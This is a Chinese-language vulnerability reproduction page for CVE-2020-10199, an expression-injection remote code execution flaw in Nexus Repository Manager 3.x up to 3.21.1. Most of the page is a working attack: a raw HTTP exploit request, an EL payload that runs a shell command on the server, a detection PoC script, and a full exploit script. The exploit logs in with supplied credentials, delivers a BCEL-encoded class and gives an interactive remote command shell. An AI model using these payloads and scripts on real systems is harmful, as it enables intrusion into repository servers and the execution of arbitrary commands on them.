跳转至

(CVE-2020-10199)Nexus Repository Manager 远程代码执行漏洞

一、漏洞简介

该漏洞允许拥有Nexus Repository Manager 上任何类型帐户的攻击者通过向Nexus Repository Manager 发出恶意 JavaEL 表达式来执行任意代码。

二、漏洞影响

Nexus Repository Manager 3.x OSS / Pro \<= 3.21.1

三、复现过程

登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: www.0-sec.org:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{233*233*233}"]
  }
}

(1)尝试执行233*233*233,成功返回结果

1.png

(2)尝试创建文件

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

2.png回到漏洞环境检查,文件夹success创建成功3.png

(3)dnslog测试

4.png漏洞存在5.png

poc&exp

影响版本 \<= 3.21.1 需要用户登录后提供csrf和sessionid(登录成功后从浏览器复制),代码执行目前无法回显

poc

+----------------------------------------------------------------------------------------------------------+
+ DES: by zhzyker as https://github.com/zhzyker/exphub                                                     +
+      CVE-2020-10199 need username &amp; password                                                             +
+----------------------------------------------------------------------------------------------------------+
+ USE: python3 &lt;filename&gt; &lt;ip&gt; &lt;port&gt; &lt;csrf&gt; &lt;sessionid&gt;                                                   +
+ EXP: python3 cve-2020-10199_poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb  +
+ VER: Nexus Repository Manager OSS/Pro version &lt;= 3.21.1                                                  +
+----------------------------------------------------------------------------------------------------------+

Nexus Repository Manager 3 远程命令执行漏洞

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests
import json

if len(sys.argv)!=5:
    print('+----------------------------------------------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                                                     +')
    print('+      CVE-2020-10199 need username &amp; password                                                             +')
    print('+----------------------------------------------------------------------------------------------------------+')
    print('+ USE: python3 &lt;filename&gt; &lt;ip&gt; &lt;port&gt; &lt;csrf&gt; &lt;sessionid&gt;                                                   +')
    print('+ EXP: python3 cve-2020-10199_poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb  +')
    print('+ VER: Nexus Repository Manager OSS/Pro version &lt;= 3.21.1                                                  +')
    print('+----------------------------------------------------------------------------------------------------------+')
    sys.exit()
ip = sys.argv[1]
port = sys.argv[2]
csrf = sys.argv[3]
sessionid = sys.argv[4]

url = "http://"+ip+":"+port

headers = {
    "Host": "%s:%s" % (ip, port),
    "Referer": url,
    "X-Nexus-UI": "true",
    "X-Requested-With": "XMLHttpRequest",
    "NX-ANTI-CSRF-TOKEN": csrf,
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "Cookie": "NX-ANTI-CSRF-TOKEN=%s; NXSESSIONID=%s" % (csrf, sessionid),
    "Origin": url,
    "Connection": "close"
    }

vulurl=url+"/service/rest/beta/repositories/go/group"

payload = {"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{233*233}"]}}

r = requests.post(vulurl, data=json.dumps(payload), headers=headers)
print (r.text)
if "A54289" in r.text:
    print ("[+] CVE-2020-10199 vulnerability exists. exp as https://github.com/zhzyker/exphub")
else:
    print ("[-] CVE-2020-10199 vulnerability does not exist.")

exp

EXP
+----------------------------------------------------------------------+
+ DES: by zhzyker as https://github.com/zhzyker/exphub                 +
+      CVE-2020-10199 Nexus 3 remote command execution                 +
+----------------------------------------------------------------------+
+ USE: python3 &lt;filename&gt; &lt;url&gt; &lt;username&gt; &lt;password&gt;                  +
+ EXP: python3 cve-2020-10199_cmd.py http://127.0.0.1:8081 admin admin +
+ VER: Nexus Repository Manager 3.x OSS / Pro &lt;= 3.21.1                +
+----------------------------------------------------------------------+

CVE-2020-10199 利用脚本(可回显)

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests
import re
import base64

if len(sys.argv)!=4:
    print('+----------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                 +')
    print('+      CVE-2020-10199 Nexus 3 remote command execution                 +')
    print('+----------------------------------------------------------------------+')
    print('+ USE: python3 &lt;filename&gt; &lt;url&gt; &lt;username&gt; &lt;password&gt;                  +')
    print('+ EXP: python3 cve-2020-10199_cmd.py http://127.0.0.1:8081 admin admin +')
    print('+ VER: Nexus Repository Manager 3.x OSS / Pro &lt;= 3.21.1                +')
    print('+----------------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
cmd = "whoami"
username = sys.argv[2]
password = sys.argv[3]

base64_user = base64.b64encode(str.encode(username))
user64 = base64_user.decode('ascii')
base64_pass = base64.b64encode(str.encode(password))
pass64 = base64_pass.decode('ascii')

# get sessionid
session_url = url + "/service/rapture/session"
session_data = {'username':user64,'password':pass64}
session_headers = {
    'Connection': "keep-alive",
    'Content-Length': "41",
    'X-Requested-With': "XMLHttpRequest",
    'X-Nexus-UI': "true",
    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
}
try:
    r = requests.post(session_url, data=session_data, headers=session_headers, timeout=20)
    session_str = str(r.headers)
    session = (re.search(r"NXSESSIONID=(.*); Path", session_str).group(1))
    print ("[+] Get Sessionid: " + session)
except:
    print ("[-] Not SessionID")
    sys.exit(0)

# exec command
def exp(cmd):
    cmd_url = url+ "/service/rest/beta/repositories/go/group"
    cmd_headrs = {
        'Connection': "keep-alive",
        'NX-ANTI-CSRF-TOKEN': "0.6153568974227819",
        'Content-Length': "41",
        'X-Requested-With': "XMLHttpRequest",
        'X-Nexus-UI': "true",
        'Content-Type': "application/json",
        '404': ""+cmd+"",
        'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
        'Cookie': "jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.6153568974227819; NXSESSIONID="+session+""
    }
    cmd_data = """
    {
        "name": "internal",
        "online": true,
        "storage": {
            "blobStoreName": "default",
            "strictContentTypeValidation": true
        },
        "group": {
            "memberNames": ["${' '.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$eb$7f$UW$Z$7eN$b2$d9$99L$s$9bd6$9bd$A$xH$80M$80$5dJ$81$96$e5bC$K$e5$S$u$924$YR$ad$93eH$W6$3b$db$d9$d9$Q$d0j$d1Z$ea$adVQ$yj$d1R5$de5$a2$h$q$82h$V$b5$9f$fc$ea7$3f$f6$_$e0$83$3f$7f$8d$cf$99$dd$N$d9d$5b$fc$R$ce$ceyo$e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85$ba$84$fe$a2$s$a6$de$7d$7b$K$81C$d3$bc$d8IqI$5c$c6fh$e2$aax$D$8f$m$e0_$f5U$ac$e3Z$cf$fehD$IM$fcxn$c6r$84$d99m$d4t$b0CL$f6$cdr$f4$e2$n$i$e4Go$3f5CX$8d$i$3a1$c9$af$e5$L$b4z$JQ$5cF$X$5e$c7z$5c$c7$G$be$93b$f8$t6$e1$k$k$W$3a6$8b$u$k$R$bb$b0E$3c$89$ad$e2$Zl$T6$k$TYl$X$_$60$87$b8$88$5d$e2$V$ec$W$97$d0Kt$3d$e25$ac$WW$b1$9f$I$f7$89k$3cQ$b6$e0$3bhg$ec$7b$d8$8d$P$T$e5u$fc$h$8f$a3$87ho$e2_$d8CY$TO$7b$8b$I$7b$88$fd$k$z$9f$c0$5e$b4$f0$e4$8b$d8G$99$c1$f3$cf$e0I$ecG$98$u$Gq$80Q$5b$89$a5$P$87$f8$3fBD$8f$e20$8e$a0$8d$b8bx$KG$d1$$$c6$99$d9G$Y$a5$83$f8t$i$e3$93$89$L$c2$60$f6$3d$dc$e7$c4$g$M$f0$a9$B$n$f1j$89Wm$e2e$3c$cd$e8$C$ab$c4$f38Nm$N$d6$89$b3$f8$u$f1$d5$o$$$iVm$905$ef$V$c38$81a$S$ea$a0$Y$c03$d4$G$d1$_$O$e1c$d4$w$f8$b8$8cD$cfb$b6$cf2$dbb$8e$cf2$c7OP7$8d$fa9$d8hP$60$v$YQ$c0o$80$93$feCh$feA$90$aes$fc$d7$f1$be6$be$b8$a8$99_m$7f$3d$a5$60T$c1$98$82$94$82$d3$c0$7f$b1$8c$9a9$Y$d0$l$U$Q$d8$a3$e0$cc$7f$m$e6$98$j$fc$5dZ$8e$9eq$7f$aed$fe$H$c3$e0$Q$5e$fb$N$A$A').newInstance()}"]
        }
    }
    """
    try:
        r = requests.post(url=cmd_url, data=cmd_data, headers=cmd_headrs, timeout=20)
        print (r.text)
    except:
        print ("[-] Target Not Vuln Good Luck!!!")
        sys.exit(0)
while 1:
    cmd = input("Shell &gt;&gt;&gt; ")
    if cmd == "exit" : exit(0)
    exp(cmd)

参考链接

https://www.cnblogs.com/appear001/p/12844624.html

https://github.com/zhzyker/CVE-2020-10199_POC-EXP